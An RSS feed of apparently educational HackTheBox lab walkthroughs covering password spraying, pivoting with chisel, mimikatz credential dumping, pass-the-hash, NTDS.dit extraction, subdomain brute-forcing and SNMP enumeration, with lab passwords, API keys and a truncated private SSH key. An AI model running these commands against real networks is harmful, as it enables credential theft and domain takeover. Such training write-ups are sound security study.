<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by th3V0!D on Medium]]></title>
        <description><![CDATA[Stories by th3V0!D on Medium]]></description>
        <link>https://medium.com/@theV01D?source=rss-fcbe6daf2fa4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*OYTnVawOJ4wONBXdzJltiA.png</url>
            <title>Stories by th3V0!D on Medium</title>
            <link>https://medium.com/@theV01D?source=rss-fcbe6daf2fa4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 05:50:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@theV01D/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox - Password Attacks - Skill Assessment - Walkthrough]]></title>
            <link>https://medium.com/@theV01D/hackthebox-password-attacks-skill-assessment-walkthrough-7e93b19a2eaa?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e93b19a2eaa</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 21:54:56 GMT</pubDate>
            <atom:updated>2026-07-03T23:48:36.621Z</atom:updated>
            <content:encoded><![CDATA[<h3>Skills Assessment</h3><p>Betty Jayde works at Nexura LLC. We know she uses the password Texas123!@# on multiple websites, and we believe she may reuse it at work. Infiltrate Nexura&#39;s network and gain command execution on the domain controller. The following hosts are in-scope for this assessment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*VicgpFQzI-AnR0ox4vGooQ.png" /></figure><h4>Pivoting Primer</h4><p>The internal hosts (JUMP01, FILE01, DC01) reside on a private subnet that is not directly accessible from our attack host. The only externally reachable system is DMZ01, which has a second interface connected to the internal network. This segmentation reflects a classic DMZ setup, where public-facing services are isolated from internal infrastructure.</p><p>To access these internal systems, we must first gain a foothold on DMZ01. From there, we can pivot — that is, route our traffic through the compromised host into the private network. This enables our tools to communicate with internal hosts as if they were directly accessible. After compromising the DMZ, refer to the module cheatsheet for the necessary commands to set up the pivot and continue your assessment.</p><p><strong>Question 1</strong><br>What is the NTLM hash of NEXURA\Administrator?</p><p>Starting with some nmap enumerations we find that only ssh on port 22 is open:</p><pre>sudo nmap -p- --min-rate=10000 10.129.47.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*1xYsv6cLSuQcLTOuq5uofg.png" /></figure><p>We are given a user with a password that she likes to use:<br>Texas123!@#<br>We just need to find out here username. So we can start creating a userlist for a password spraying attack on ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*VXzMy6Z9oLtvlMIPZv76JQ.png" /></figure><pre>hydra -L userlist.txt -p &#39;Texas123!@#&#39; ssh://10.129.47.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*oRZVjEvEmqNUnAtAfSDrww.png" /></figure><p>We found her username: <strong>jbetty:Texas123!@#<br></strong>And we can now ssh into the host</p><pre>ssh jbetty@10.129.47.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*pjxbIzvMSIFd3onSk7Foxw.png" /></figure><p>We could test if the same credentials work for the other hosts — but they didn’t.<br>Next we can read <strong>.bash_history</strong> since it is not pointed to /dev/null.<br>This reveals more credentials to us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*58TXB7M_cVo9MhuBPFTEaA.png" /></figure><p>Since all other hosts are only reachable internally we can start with setting up chisel as a proxy:</p><pre>└──╼ [★]$ wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gzgunzip chisel_1.10.1_linux_amd64.gz<br>└──╼ [★]$ gunzip chisel_1.10.1_linux_amd64.gz<br>└──╼ [★]$ mv chisel_1.10.1_linux_amd64 chisel<br>└──╼ [★]$ chmod +x chisel</pre><p>Now we can transfer chisel to our target.<br>From attacker:</p><pre>└──╼ [★]$ python3 -m http.server 8008<br>Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...</pre><p>On victim:</p><pre>jbetty@DMZ01:~$ wget http://10.10.14.207:8008/chisel<br>jbetty@DMZ01:~$ chmod +x chisel</pre><p>And don’t forget to change your <strong>/etc/proxychains.conf</strong> file</p><pre>└──╼ [★]$ tail -5 /etc/proxychains.conf <br># add proxy here ...<br># meanwile<br># defaults set to &quot;tor&quot;<br># socks4  127.0.0.1 9050<br>socks5  127.0.0.1 1080</pre><p>Now you can start the proxy:</p><p>On attacker:</p><pre>└──╼ [★]$ ./chisel server --reverse --port 8080</pre><p>On target:</p><pre>./chisel client 10.10.14.207:8080 R:socks</pre><p>Now we can run another nmap scan again against FILE01. I decided tofilter for “important” ports such as rdp and winrm:</p><pre>└──╼ [★]$ proxychains nmap -p 3389,5985,445,135 --min-rate=10000 -Pn -sT 172.16.119.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*61R8Hqqaevr2FYbVpamRtg.png" /></figure><p>However, <strong>hwilliam</strong> cannot connect to FILE01 using those credentials, so we can try another host</p><pre>└──╼ [★]$ proxychains evil-winrm -i 172.16.119.7 -u hwilliam -p &#39;dealer-screwed-gym1&#39;</pre><p>And indeed <strong>JUMP01</strong> worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*0sf2naxpLpOMI6DLn-b7bg.png" /></figure><p>Here we can also do some more enumeration such as what privileges we have and what groups we belong to.</p><pre>*Evil-WinRM* PS C:\Users\hwilliam\Documents&gt; whoami<br>nexura\hwilliam<br>*Evil-WinRM* PS C:\Users\hwilliam\Documents&gt; whoami /groups<br><br>GROUP INFORMATION<br>-----------------<br><br>Group Name                             Type             SID                                           Attributes<br>====================================== ================ ============================================= ==================================================<br>Everyone                               Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Remote Management Users        Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Users                          Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\NETWORK                   Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\This Organization         Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group<br>NEXURA\HR                              Group            S-1-5-21-1333759777-277832620-2286231135-1110 Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group<br>Mandatory Label\Medium Mandatory Level Label            S-1-16-8192<br><br>*Evil-WinRM* PS C:\Users\hwilliam\Documents&gt; whoami /priv<br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name                Description                    State<br>============================= ============================== =======<br>SeChangeNotifyPrivilege       Bypass traverse checking       Enabled<br>SeIncreaseWorkingSetPrivilege Increase a process working set Enabled<br>*Evil-WinRM* PS C:\Users\hwilliam\Documents&gt; </pre><p>After some more enumeration including searching for sensitive files I couldn’t find anything, so I decided to focus on smb (FILE01) now with the user hwilliam.</p><pre>└──╼ [★]$ proxychains smbclient -L //172.16.119.10/ -U &#39;nexura\hwilliam&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*Geh1AH-IF62Pq-_eU1TiBQ.png" /></figure><pre>proxychains smbclient //172.16.119.10/HR -U &#39;nexura\hwilliam&#39;</pre><p>And we can successfully connect to the HR share with privileges.<br>Looking through the folders there is one file that looks interesting in the <strong>ARCHIVE</strong> folder and that is <strong>Employee-Passwords_OLD.psafe3</strong><br>So we can download it to our attacker host and look into it.</p><pre>smb: \Archive\&gt; get Employee-Passwords_OLD.psafe3</pre><p>With .psafe files or <a href="https://pwsafe.org/"><strong>Password Safe</strong></a><strong> </strong>files you can create an encrypted username/password list and just set one <strong>Master Password</strong> for the file that you need to remember. This way you have a secured user:pass list.</p><p>For us this means that we need the Master Password. We can use the tool <strong>pwsafe2john.py</strong> to get the hash for the <strong>Master Password</strong> and then try to <strong>brute force</strong> it using a tool such as <strong>John</strong> or <strong>Hashcat</strong>.</p><pre>└──╼ [★]$ pwsafe2john.py Employee-Passwords_OLD.psafe3<br>Employee-Passwords_OLD:$pwsafe$*3*801e25992487ae60938723973f543abd7d1fab81f45da156194bc6e1976f8c59*262144*3e1d616a8f82a02514ed88cd37f1b6eab303d9a687c4d48fbe0c866775617978</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3cMW_G58jOQlN7Gdc318Q.png" /></figure><pre>└──╼ [★]$ john --wordlist=/usr/share/wordlists/rockyou.txt master_hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*UsEQA9y5PI9CGhNHEy9C0w.png" /></figure><p>Master Password: <strong>michaeljackson</strong></p><p>We can open the file using pwsafe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*BfSuLVwJ0IhicjeSFvGYZw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*k2OAMCkHIaQ8olE4hgLDAA.png" /></figure><p>You can right click on each and select <strong><em>Copy Password to Clipboard</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*fpsTov-ugVa2SzWsvImkzg.png" /></figure><p>After trying all the credentials we harvested against all hosts I got lucky with <strong>JUMP01</strong> again</p><pre>└──╼ [★]$ proxychains evil-winrm -i 172.16.119.7 -u bdavid -p &#39;caramel-cigars-reply1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3uLwxIO3FsLf9M8E6yn3yA.png" /></figure><p>It appears bdavid is in the <strong>Administrators (Group owner) </strong>group and therefore has a lot more power and privileges than our previous user hwilliam in this host. This means we can now try dumping password hashes for logged on users on this host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qyEfR_1bdJKhergx5qap7Q.png" /></figure><p>We need <a href="https://github.com/ParrotSec/mimikatz.git">mimikatz</a> now. If you are using HTB’s pwnbox you have it preinstalled:</p><pre>└──╼ [★]$ locate mimikatz.exe<br>/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe<br>/usr/share/windows-resources/mimikatz/x64/mimikatz.exe<br><br>└──╼ [★]$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .</pre><p>Transfer the file over to bdavid on JUMP01. If you are connected using evil-winrm:</p><pre>upload mimikatz.exe</pre><p>otherwise you can upload the file by first uploading it to DMZ01 with jbetty and then uploading it to FILE01</p><p>On attacker:</p><pre>└──╼ [★]$ python3 -m http.server 8008<br>Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...</pre><p>On DMZ01 (jbetty):</p><pre>jbetty@DMZ01:~$ wget &quot;http://10.10.14.207:8008/mimikatz.exe&quot;</pre><pre>jbetty@DMZ01:~$ python3 -m http.server 8008<br>Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...</pre><p>On FILE01:</p><pre>Invoke-WebRequest &quot;http://172.16.119.13:8008/mimikatz.exe&quot; -OutFile C:\Users\bdavid\Documents\mimikatz.exe</pre><p>Next I ran mimikatz to dump all hashes on the host:</p><pre>.\mimikatz.exe &quot;privilege::debug sekurlsa::logonPasswords&quot; exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*KPGB4R13ZZQDyKiapZy2-A.png" /></figure><p>We successfully dumped stom’s NTLM hash. With that we can try connecting to other hosts.</p><pre>└──╼ [★]$ proxychains evil-winrm -i 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764fa</pre><p>Finally we are connected to the <strong>Domain Controller (DC01)</strong>. And we are also part of the <strong>Domain Admins </strong>group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TL7158x8bXBeJXgdIt1lMQ.png" /></figure><p>I tried repeating the mimikatz process but I didn’t get any user hashes. Next I tried capturing the <strong>NTDS.dit </strong>database<strong> </strong>since we are part of the <strong>Domain Admins</strong> group.</p><pre>vssadmin CREATE SHADOW /For=C:<br><br>mkdir C:\NTDS<br><br>cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit<br><br>cd C:\NTDS<br><br>download NTDS.dit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntNi-cOiSS6JmxwYB2yHXA.png" /></figure><p>Be aware that I used <strong>HarddiskVolumeShadowCopy1 </strong>but depending on the run it could also be a different number for you, therefore pay attention to your <strong>vssadmin CREATE SHADOW</strong> output.</p><p>Next copy and download <strong>HKLM\system </strong>(registry hive — contains boot key)</p><pre>reg.exe save hklm\system C:\system.save<br><br>download system.save</pre><p>Back on the attacker host run impacket-secretsdump to dump the hashes</p><pre>└──╼ [★]$ impacket-secretsdump -ntds NTDS.dit -system system.save LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*qhyRR5GNiX0GIJNUaKHEIA.jpeg" /></figure><p>I hope you enjoyed the Walkthrough</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e93b19a2eaa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Gathering — Web Edition (Skill Assessment — Walkthrough)]]></title>
            <link>https://medium.com/@theV01D/information-gathering-web-edition-skill-assessment-walkthrough-f68c8624be48?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f68c8624be48</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 19:32:58 GMT</pubDate>
            <atom:updated>2026-06-18T19:32:58.045Z</atom:updated>
            <content:encoded><![CDATA[<p>To complete the skills assessment, answer the questions below. You will need to apply a variety of skills learned in this module, including:</p><ul><li>Using whois</li><li>Analysing robots.txt</li><li>Performing subdomain bruteforcing</li><li>Crawling and analysing results</li></ul><p>Demonstrate your proficiency by effectively utilizing these techniques. Remember to add subdomains to your hosts file as you discover them.</p><h4><strong><em>Question 1</em></strong></h4><p>What is the IANA ID of the registrar of the inlanefreight.com domain?</p><pre>whois inlanefreight.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*7PZ2XiQ5jv2iVYgbMaC8pw.jpeg" /></figure><p>Answer: <strong>468</strong></p><h4><strong><em>Question 2</em></strong></h4><p>What http server software is powering the inlanefreight.htb site on the target system? Respond with the name of the software, not the version, e.g., Apache.</p><p>You can add an entry in your /etc/hosts file to map the IP address to the name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*2sT0XlAPlkrLeNFxEqXmaw.jpeg" /></figure><pre>whatweb http://inlanefreight.htb:31170</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBNT75A2dgWKibcPF0B8PQ.jpeg" /></figure><p>Answer: <strong>nginx</strong></p><h4>Question 3</h4><p>What is the API key in the hidden admin directory that you have discovered on the target system?</p><pre>gobuster vhost -u http://inlanefreight.htb:31170 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKxhFdX-k5hQAnd_hU_-PA.png" /></figure><p>We found <strong>web1337.inlanefreight.htb:31170</strong>. So we can add this also to our /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*mKwv8hhSy3vJE76ONtAcvw.png" /></figure><p>In our browser we can search for <a href="http://web1337.inlanefreight.htb:31170/robots.txt"><strong>http://web1337.inlanefreight.htb:31170/robots.tx</strong></a>t</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/151/1*XfO2UQZPWfTEktJk0YjJNw.png" /></figure><p>We found the admin directory:<br><a href="http://web1337.inlanefreight.htb:31170/admin_h1dd3n/"><strong>http://web1337.inlanefreight.htb:31170/admin_h1dd3n/</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*aCcQgDVNRh_dIH0Ph1GlKg.png" /></figure><p>Answer: <strong>e963d863ee0e82ba7080fbf558ca0d3f</strong></p><h4>Question 4</h4><p>After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., mail@inlanefreight.htb.</p><p>We run another vhost scan first (-t 1000 threads may be too aggressive, you could choose 50–100):</p><pre>gobuster vhost -u http://web1337.inlanefreight.htb:31170 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 1000 --append-domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJ56WLt_gY-eM6KnsXLlig.png" /></figure><p>We found another vhost -&gt; <strong>dev.web1337.inlanefreight.htb:31170</strong></p><p>We add this also to our /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*Eyf0_Kpy7zXxgfF8YNtrKw.png" /></figure><p>And run <a href="https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip">ReconSpider.py</a>. Make sure to install scrapy via pip first:</p><pre>pip3 install scrapy<br>wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip<br>unzip ReconSpider.zip</pre><pre>python3 ReconSpider.py http://dev.web1337.inlanefreight.htb:31170</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*nrswj0xQjb-xX0kdVnqw8A.png" /></figure><p>Answer: <strong>1337testing@inlanefreight.htb</strong></p><h4>Question 5</h4><p>What is the API key the inlanefreight.htb developers will be changing too?</p><p>You can find the answer in the same crawl results above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*rwQtWDvPVUdXs9DXUrETrQ.png" /></figure><p>Answer: <strong>ba988b835be4aa97d068941dc852ff33</strong></p><p>I hope you enjoyed the walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f68c8624be48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Footprinting Lab — Hard (Walkthrough)]]></title>
            <link>https://medium.com/@theV01D/footprinting-lab-hard-walkthrough-348321bfaaef?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/348321bfaaef</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 20:51:02 GMT</pubDate>
            <atom:updated>2026-11-01T22:57:46.731Z</atom:updated>
            <content:encoded><![CDATA[<p>The third server is an MX and management server for the internal network. Subsequently, this server has the function of a backup server for the internal accounts in the domain. Accordingly, a user named HTB was also created here, whose credentials we need to access.</p><h4><strong>Question 1:</strong></h4><p>Enumerate the server carefully and find the username “HTB” and its password. Then, submit HTB’s password as the answer.</p><p>We start enumerating the target using nmap:</p><pre>sudo nmap -p- --min-rate=10000 10.129.29.226</pre><pre>Not shown: 65530 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>110/tcp open  pop3<br>143/tcp open  imap<br>993/tcp open  imaps<br>995/tcp open  pop3s</pre><pre>sudo nmap -p 22,110,143,993,995 -sC -sV -oN hard.nmap 10.129.29.226</pre><pre>PORT    STATE SERVICE  VERSION<br>22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)<br>|   256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)<br>|_  256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)<br>110/tcp open  pop3     Dovecot pop3d<br>|_pop3-capabilities: RESP-CODES SASL(PLAIN) AUTH-RESP-CODE UIDL STLS PIPELINING USER CAPA TOP<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=NIXHARD<br>| Subject Alternative Name: DNS:NIXHARD<br>| Not valid before: 2021-11-10T01:30:25<br>|_Not valid after:  2031-11-08T01:30:25<br>143/tcp open  imap     Dovecot imapd (Ubuntu)<br>|_imap-capabilities: listed more have post-login SASL-IR capabilities Pre-login LITERAL+ LOGIN-REFERRALS OK AUTH=PLAINA0001 IMAP4rev1 IDLE ID ENABLE STARTTLS<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=NIXHARD<br>| Subject Alternative Name: DNS:NIXHARD<br>| Not valid before: 2021-11-10T01:30:25<br>|_Not valid after:  2031-11-08T01:30:25<br>993/tcp open  ssl/imap Dovecot imapd (Ubuntu)<br>|_imap-capabilities: listed have more SASL-IR post-login Pre-login LITERAL+ LOGIN-REFERRALS capabilities AUTH=PLAINA0001 IMAP4rev1 IDLE OK ENABLE ID<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=NIXHARD<br>| Subject Alternative Name: DNS:NIXHARD<br>| Not valid before: 2021-11-10T01:30:25<br>|_Not valid after:  2031-11-08T01:30:25<br>995/tcp open  ssl/pop3 Dovecot pop3d<br>| ssl-cert: Subject: commonName=NIXHARD<br>| Subject Alternative Name: DNS:NIXHARD<br>| Not valid before: 2021-11-10T01:30:25<br>|_Not valid after:  2031-11-08T01:30:25<br>|_pop3-capabilities: UIDL RESP-CODES SASL(PLAIN) PIPELINING USER CAPA TOP AUTH-RESP-CODE<br>|_ssl-date: TLS randomness does not represent time<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>This looks like an email service (<strong>IMAP/POP3</strong>) with <strong>ssh </strong>running as well. However, there is not much to start with as we need to look for credentials, so I decided to do a udp scan as well.</p><pre>sudo nmap --top-ports=100 -sU 10.129.29.226</pre><pre>PORT    STATE         SERVICE<br>68/udp  open|filtered dhcpc<br>161/udp open          snmp</pre><p><strong><em>sudo nmap -sU -p 161 -sC -sV 10.129.29.226</em></strong></p><pre>PORT    STATE SERVICE VERSION<br>161/udp open  snmp    net-snmp; net-snmp SNMPv3 server<br>| snmp-info: <br>|   enterprise: net-snmp<br>|   engineIDFormat: unknown<br>|   engineIDData: 5b99e75a10288b6100000000<br>|   snmpEngineBoots: 11<br>|_  snmpEngineTime: 10m45s</pre><p>We can see that <strong>SNMP </strong>is also available. Next, we need to identify the community string. We can use <strong>onesixtyone </strong>for this task:</p><p><strong><em>onesixtyone -c /opt/useful/seclists/Discovery/SNMP/snmp.txt 10.129.29.226</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*n9Mhk2d5tJjqDBVJfrh62Q.png" /></figure><p>“backup” is a valid community string. To footprint the service you can either use <strong>snmpwalk </strong>as tought in the module or use <strong>snmpbulkwalk </strong>(much faster):</p><ul><li><strong><em>snmpwalk -v2c -c backup 10.129.29.226</em></strong></li><li><strong><em>snmpbulkwalk -Cr1000 -c backup -v2c 10.129.29.226 . &gt; snmp-full-bullk</em></strong></li></ul><p>Looking at the results we find the credentials for the user tom</p><pre>tom:NMds732Js2761</pre><p>Unfortunately ssh will only work with a valid key, so we can shift our focus on IMAP/POP3 instead.</p><pre>openssl s_client -connect 10.129.29.226:imaps</pre><p>Commands to run after connecting to <strong>IMAPS</strong>:</p><pre>1 Login tom NMds732Js2761<br>1 LIST &quot;&quot; *<br>1 SELECT INBOX<br>1 fetch 1 all<br>1 FETCH 1 BODY[TEXT]</pre><p>This will leak the openssh private key:</p><pre>-----BEGIN OPENSSH PRIVATE KEY-----<br>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn<br>NhAAAAAwEAAQAAAgEA9snuYvJaB/QOnkaAs92nyBKypu73HMxyU9XWTS+UBbY3lVFH0t+F<br>+yuX+57Wo48pORqVAuMINrqxjxEPA7XMPR9XIsa60APplOSiQQqYreqEj6pjTj8wguR0Sd<br>hfKDOZwIQ1ILHecgJAA0zY2NwWmX5zVDDeIckjibxjrTvx7PHFdND3urVhelyuQ89BtJqB<br>abmrB5zzmaltTK0VuAxR/SFcVaTJNXd5Utw9SUk4/l0imjP3/ong1nlguuJGc1s47tqKBP<br>HuJKqn5r6am5xgX5k4ct7VQOQbRJwaiQVA5iShrwZxX5wBnZISazgCz/D6IdVMXilAUFKQ<br>X1thi32f3jkylCb/DBzGRROCMgiD5Al+uccy9cm9aS6RLPt06OqMb9StNGOnkqY8rIHPga<br>H/RjqDTSJbNab3w+CShlb+H/p9cWGxhIrII+lBTcpCUAIBbPtbDFv9M3j0SjsMTr2Q0B0O<br>jKENcSKSq1E1m8FDHqgpSY5zzyRi7V/WZxCXbv8lCgk5GWTNmpNrS7qSjxO0N143zMRDZy<br>Ex74aYCx3aFIaIGFXT/EedRQ5l0cy7xVyM4wIIA+XlKR75kZpAVj6YYkMDtL86RN6o8u1x<br>3txZv15lMtfG4jzztGwnVQiGscG0CWuUA+E1pGlBwfaswlomVeoYK9OJJ3hJeJ7SpCt2GG<br>cAAAdIRrOunEazrpwAAAAHc3NoLXJzYQAAAgEA9snuYvJaB/QOnkaAs92nyBKypu73HMxy<br>U9XWTS+UBbY3lVFH0t+F+yuX+57Wo48pORqVAuMINrqxjxEPA7XMPR9XIsa60APplOSiQQ<br>qYreqEj6pjTj8wguR0SdhfKDOZwIQ1ILHecgJAA0zY2NwWmX5zVDDeIckjibxjrTvx7PHF<br>dND3urVhelyuQ89BtJqBabmrB5zzmaltTK0VuAxR/SFcVaTJNXd5Utw9SUk4/l0imjP3/o<br>ng1nlguuJGc1s47tqKBPHuJKqn5r6am5xgX5k4ct7VQOQbRJwaiQVA5iShrwZxX5wBnZIS<br>azgCz/D6IdVMXilAUFKQX1thi32f3jkylCb/DBzGRROCMgiD5Al+uccy9cm9aS6RLPt06O<br>qMb9StNGOnkqY8rIHPgaH/RjqDTSJbNab3w+CShlb+H/p9cWGxhIrII+lBTcpCUAIBbPtb<br>DFv9M3j0SjsMTr2Q0B0OjKENcSKSq1E1m8FDHqgpSY5zzyRi7V/WZxCXbv8lCgk5GWTNmp<br>NrS7qSjxO0N143zMRDZyEx74aYCx3aFIaIGFXT/EedRQ5l0cy7xVyM4wIIA+XlKR75kZpA<br>Vj6YYkMDtL86RN6o8u1x3txZv15lMtfG4jzztGwnVQiGscG0CWuUA+E1pGlBwfaswlomVe<br>oYK9OJJ3hJeJ7SpCt2GGcAAAADAQABAAACAQC0wxW0LfWZ676lWdi9ZjaVynRG57PiyTFY<br>jMFqSdYvFNfDrARixcx6O+UXrbFjneHA7OKGecqzY63Yr9MCka+meYU2eL+uy57Uq17ZKy<br>zH/oXYQSJ51rjutu0ihbS1Wo5cv7m2V/IqKdG/WRNgTFzVUxSgbybVMmGwamfMJKNAPZq2<br>xLUfcemTWb1e97kV0zHFQfSvH9wiCkJ/rivBYmzPbxcVuByU6Azaj2zoeBSh45ALyNL2Aw<br>HHtqIOYNzfc8rQ0QvVMWuQOdu/nI7cOf8xJqZ9JRCodiwu5fRdtpZhvCUdcSerszZPtwV8<br>uUr+CnD8RSKpuadc7gzHe8SICp0EFUDX5g4Fa5HqbaInLt3IUFuXW4SHsBPzHqrwhsem8z<br>tjtgYVDcJR1FEpLfXFOC0eVcu9WiJbDJEIgQJNq3aazd3Ykv8+yOcAcLgp8x7QP+s+Drs6<br>4/6iYCbWbsNA5ATTFz2K5GswRGsWxh0cKhhpl7z11VWBHrfIFv6z0KEXZ/AXkg9x2w9btc<br>dr3ASyox5AAJdYwkzPxTjtDQcN5tKVdjR1LRZXZX/IZSrK5+Or8oaBgpG47L7okiw32SSQ<br>5p8oskhY/He6uDNTS5cpLclcfL5SXH6TZyJxrwtr0FHTlQGAqpBn+Lc3vxrb6nbpx49MPt<br>DGiG8xK59HAA/c222dwQAAAQEA5vtA9vxS5n16PBE8rEAVgP+QEiPFcUGyawA6gIQGY1It<br>4SslwwVM8OJlpWdAmF8JqKSDg5tglvGtx4YYFwlKYm9CiaUyu7fqadmncSiQTEkTYvRQcy<br>tCVFGW0EqxfH7ycA5zC5KGA9pSyTxn4w9hexp6wqVVdlLoJvzlNxuqKnhbxa7ia8vYp/hp<br>6EWh72gWLtAzNyo6bk2YykiSUQIfHPlcL6oCAHZblZ06Usls2ZMObGh1H/7gvurlnFaJVn<br>CHcOWIsOeQiykVV/l5oKW1RlZdshBkBXE1KS0rfRLLkrOz+73i9nSPRvZT4xQ5tDIBBXSN<br>y4HXDje